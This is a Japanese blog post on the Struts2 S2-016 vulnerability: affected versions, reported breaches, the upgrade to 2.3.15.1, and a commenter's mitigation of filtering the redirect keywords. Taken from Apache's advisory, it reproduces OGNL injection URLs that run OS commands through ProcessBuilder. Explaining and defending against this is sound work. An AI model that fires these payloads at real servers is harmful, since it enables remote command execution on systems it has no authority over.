ホーム » ブログ » strut2の深刻なs2-016セキュリティホールが見つかりました
このエントリーをはてなブックマークに追加
@2013/08/13

スポンサーリンク
2013年7月16日に、struts2.Xは致命なセキュリティホールが見つかった(s2-016)、攻撃なHTTPリクエストだけで(redirectAction:・redirect:・action:)、任意なOSコマンドを実行できるという、あまり致命な脆弱性があり、影響対象もstruts2.0.0から2.3.15までのすべてのバージョンです。その後、Struts公式サイトでこの脆弱性を掲示し、最新のバージョン2.3.15.1を緊急リリースしました。Struts2.xが利用しているサイトは素早く最新のバージョンへアップデートしてください。

Struts2を利用した、海外のアップルdeveloperサイトや、中国のある銀行サイトはこの攻撃を受け、一時閉鎖した。特にアップル開発者向けのサイトは攻撃を受け、1週間以上サイト停止しまた。サイト利用者の情報も外に漏えいしたそうで、かなり深刻な被害があった。

筆者もちょっと自分のサイトに試して、全て成功した。
以下は2つの攻撃の例です。(研究であればいいですけど、悪用はおやめください!!)

apache公式サイトにも、こんな攻撃なコマンドサンプル載せてます。
1.Simple Expression - the parameter names are evaluated as OGNL.
http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

2.Command Execution
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

以前も、struts2のセキュリティホールを何個が見つかったが、今回のようなかなり深刻な問題がでてなかった。なぜ今回だけ?? 
一番の原因は、apache strutsグループは公式サイトで攻撃用なサンプルも掲示したではないかと思っている。もともとレベル高い人しか攻撃できない手法なのに、サンプルを貼ったら、普通のIT技術者も簡単に攻撃なHTTPリクエストが作れることになってしまった。

僕以前のブログ struts2でchainとredirectActionの区別 で、struts2のredirectActionを軽く触ったが、このrediectActionを利用し、攻撃なHTTPリクエストを作れることは全然思わなかった。ハッカーの世界は危ないなぁ(笑)





生活三昧@zanmai.net


♪ 当記事がお役に立ちましたらシェアして頂ければ嬉しいです。
0人
このエントリーをはてなブックマークに追加


★ 当記事を閲覧の方は下記の【関連記事】も閲覧していました。
コメント@2013年08月14日
Gravatar-グローバルに認識されるアバター_zanmai.net
回避対策としては、一番有効な対策はStruts2のバージョンを最新の2.3.15.1にアップデートする。 すぐにアップデートできない場合、暫定対策としては、サーバ側でURLを検証し、redirectAction:・redirect:とaction:などのキーワードが含まれるとき、そのリクエストを返事しないように設定する。(apacheのhttpd.confでrewriteRoul?)

お名前:

 

EMAIL:

 

URL:

 

認証コード:

zanmai.net-safecode

 


※会員の方は認証コードを要らないから、新規登録をオススメ!

check